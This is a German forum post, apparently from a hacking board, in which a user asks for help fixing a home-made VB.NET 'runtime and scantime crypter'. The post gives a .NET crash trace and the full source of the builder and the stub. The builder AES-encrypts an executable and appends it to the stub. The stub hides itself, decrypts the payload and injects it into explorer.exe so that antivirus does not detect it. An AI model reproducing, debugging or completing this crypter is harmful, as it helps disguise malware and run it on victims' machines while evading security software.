[F]Runtime&Scantime Crypter Problem bei

    • [F]Runtime&Scantime Crypter Problem bei

      [F]Runtime&Scantime Crypter Problem bei
      Habe nen kleinen Crypter gecodet mithilfe eines tutorials...
      etz braucht keiner C&P schreien, is nur zu übungszwecken :)

      alles klappt, file und stub gehn zusammen etc...
      beim ausführen des gecrypteten files kommt allerdings folgender fehler:


      der text darunter lautet:
      Spoiler anzeigen
      Informationen über das Aufrufen von JIT-Debuggen
      anstelle dieses Dialogfelds finden Sie am Ende dieser Meldung.

      ************** Ausnahmetext **************
      System.FormatException: Ungültige Zeichen in einer Base-64-Zeichenfolge.
      bei System.Convert.FromBase64String(String s)
      bei Stub.Form1.Form1_Load(Object sender, EventArgs e)
      bei System.EventHandler.Invoke(Object sender, EventArgs e)
      bei System.Windows.Forms.Form.OnLoad(EventArgs e)
      bei System.Windows.Forms.Form.OnCreateControl()
      bei System.Windows.Forms.Control.CreateControl(Boolean fIgnoreVisible)
      bei System.Windows.Forms.Control.CreateControl()
      bei System.Windows.Forms.Control.WmShowWindow(Message& m)
      bei System.Windows.Forms.Control.WndProc(Message& m)
      bei System.Windows.Forms.ScrollableControl.WndProc(Message& m)
      bei System.Windows.Forms.ContainerControl.WndProc(Message& m)
      bei System.Windows.Forms.Form.WmShowWindow(Message& m)
      bei System.Windows.Forms.Form.WndProc(Message& m)
      bei System.Windows.Forms.Control.ControlNativeWindow.OnMessage(Message& m)
      bei System.Windows.Forms.Control.ControlNativeWindow.WndProc(Message& m)
      bei System.Windows.Forms.NativeWindow.Callback(IntPtr hWnd, Int32 msg, IntPtr wparam, IntPtr lparam)


      ************** Geladene Assemblys **************
      mscorlib
      Assembly-Version: 2.0.0.0.
      Win32-Version: 2.0.50727.4952 (win7RTMGDR.050727-4900).
      CodeBase: file:///C:/Windows/Microsoft.NET/Framework/v2.0.50727/mscorlib.dll.
      ----------------------------------------
      mscorlib.resources
      Assembly-Version: 2.0.0.0.
      Win32-Version: 2.0.50727.4952 (win7RTMGDR.050727-4900).
      CodeBase: file:///C:/Windows/Microsoft.NET/Framework/v2.0.50727/mscorlib.dll.
      ----------------------------------------
      Stub
      Assembly-Version: 1.0.0.0.
      Win32-Version: 1.0.0.0.
      CodeBase: file:///C:/Users/XXX/Desktop/crypted.exe.
      ----------------------------------------
      Microsoft.VisualBasic
      Assembly-Version: 8.0.0.0.
      Win32-Version: 8.0.50727.4927 (NetFXspW7.050727-4900).
      CodeBase: file:///C:/Windows/assembly/GAC_MSIL/Microsoft.VisualBasic/8.0.0.0__b03f5f7f11d50a3a/Microsoft.VisualBasic.dll.
      ----------------------------------------
      System
      Assembly-Version: 2.0.0.0.
      Win32-Version: 2.0.50727.4927 (NetFXspW7.050727-4900).
      CodeBase: file:///C:/Windows/assembly/GAC_MSIL/System/2.0.0.0__b77a5c561934e089/System.dll.
      ----------------------------------------
      System.Windows.Forms
      Assembly-Version: 2.0.0.0.
      Win32-Version: 2.0.50727.4927 (NetFXspW7.050727-4900).
      CodeBase: file:///C:/Windows/assembly/GAC_MSIL/System.Windows.Forms/2.0.0.0__b77a5c561934e089/System.Windows.Forms.dll.
      ----------------------------------------
      System.Drawing
      Assembly-Version: 2.0.0.0.
      Win32-Version: 2.0.50727.4927 (NetFXspW7.050727-4900).
      CodeBase: file:///C:/Windows/assembly/GAC_MSIL/System.Drawing/2.0.0.0__b03f5f7f11d50a3a/System.Drawing.dll.
      ----------------------------------------
      System.Configuration
      Assembly-Version: 2.0.0.0.
      Win32-Version: 2.0.50727.4927 (NetFXspW7.050727-4900).
      CodeBase: file:///C:/Windows/assembly/GAC_MSIL/System.Configuration/2.0.0.0__b03f5f7f11d50a3a/System.Configuration.dll.
      ----------------------------------------
      System.Xml
      Assembly-Version: 2.0.0.0.
      Win32-Version: 2.0.50727.4927 (NetFXspW7.050727-4900).
      CodeBase: file:///C:/Windows/assembly/GAC_MSIL/System.Xml/2.0.0.0__b77a5c561934e089/System.Xml.dll.
      ----------------------------------------
      System.Runtime.Remoting
      Assembly-Version: 2.0.0.0.
      Win32-Version: 2.0.50727.4927 (NetFXspW7.050727-4900).
      CodeBase: file:///C:/Windows/assembly/GAC_MSIL/System.Runtime.Remoting/2.0.0.0__b77a5c561934e089/System.Runtime.Remoting.dll.
      ----------------------------------------
      System.Windows.Forms.resources
      Assembly-Version: 2.0.0.0.
      Win32-Version: 2.0.50727.4927 (NetFXspW7.050727-4900).
      CodeBase: file:///C:/Windows/assembly/GAC_MSIL/System.Windows.Forms.resources/2.0.0.0_de_b77a5c561934e089/System.Windows.Forms.resources.dll.
      ----------------------------------------

      ************** JIT-Debuggen **************
      Um das JIT-Debuggen (Just-In-Time) zu aktivieren, muss in der
      Konfigurationsdatei der Anwendung oder des Computers
      (machine.config) der jitDebugging-Wert im Abschnitt system.windows.forms festgelegt werden.
      Die Anwendung muss mit aktiviertem Debuggen kompiliert werden.

      Zum Beispiel:

      <configuration>
      <system.windows.forms jitDebugging="true" />
      </configuration>

      Wenn das JIT-Debuggen aktiviert ist, werden alle nicht behandelten
      Ausnahmen an den JIT-Debugger gesendet, der auf dem
      Computer registriert ist, und nicht in diesem Dialogfeld behandelt.




      builder source:
      Spoiler anzeigen
      Public Class Form1
      Dim ofd As New OpenFileDialog
      Dim sfd As New SaveFileDialog
      Const keycode = "Sephir0th"
      Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
      With ofd
      ofd.DefaultExt = ".exe"
      ofd.Filter = "Executable Files (*.Exe)|*Exe"
      ofd.FilterIndex = 1
      ofd.FileName = ""
      If ofd.ShowDialog = 1 Then
      TextBox1.Text = ofd.FileName

      End If
      End With
      End Sub

      Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
      With sfd
      sfd.DefaultExt = ".exe"
      sfd.Filter = "Executable Files (*.Exe)|*Exe"
      sfd.FilterIndex = 1
      sfd.FileName = ""
      If sfd.ShowDialog = 1 Then
      TextBox2.Text = sfd.FileName
      End If
      End With

      End Sub
      Function Secure(ByVal data As Byte()) As Byte()
      Using SA As New System.Security.Cryptography.RijndaelManaged
      SA.IV = New Byte() {1, 2, 3, 4, 5, 6, 7, 8, 9, 1, 2, 3, 4, 5, 6, 7}
      SA.Key = New Byte() {7, 6, 5, 4, 3, 2, 1, 9, 8, 7, 6, 5, 4, 3, 2, 1}
      Return SA.CreateEncryptor.TransformFinalBlock(data, 0, data.Length)

      End Using
      End Function

      Private Sub Button3_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button3.Click


      Dim File1 As Byte() = Secure(My.Computer.FileSystem.ReadAllBytes(TextBox1.Text))
      If My.Computer.FileSystem.FileExists(TextBox2.Text) Then
      My.Computer.FileSystem.DeleteFile(TextBox2.Text)
      End If

      IO.File.Copy(Application.StartupPath & "\Stub.exe", TextBox2.Text)
      IO.File.AppendAllText(TextBox2.Text, keycode & Convert.ToBase64String(File1))
      End Sub

      Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load

      End Sub
      End Class


      Stub source:
      Spoiler anzeigen
      Public Class Form1
      Const keycode = "Sephir0th"

      Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
      Me.Visible = False
      Dim sephir0th() As String = Split(IO.File.ReadAllText(Application.ExecutablePath), keycode)
      Dim File1 As Byte() = Unsecure(Convert.FromBase64String(sephir0th(1)))
      System.Text.Encoding.GetEncoding(1252).GetBytes(sephir0th(1))
      Dim process As String = "C:\Windows\explorer.exe"

      rt.Inject(File1, process)



      End Sub

      Private Function Unsecure(ByVal data As Byte()) As Byte()
      Using SA As New System.Security.Cryptography.RijndaelManaged
      SA.IV = New Byte() {1, 2, 3, 4, 5, 6, 7, 8, 9, 1, 2, 3, 4, 5, 6, 7}
      SA.Key = New Byte() {7, 6, 5, 4, 3, 2, 1, 9, 8, 7, 6, 5, 4, 3, 2, 1}
      Return SA.CreateDecryptor.TransformFinalBlock(data, 0, data.Length)

      End Using
      End Function

      End Class


      vielleicht findet ja jemand den fehler :)

      ed:// titel hats beschnitten ;)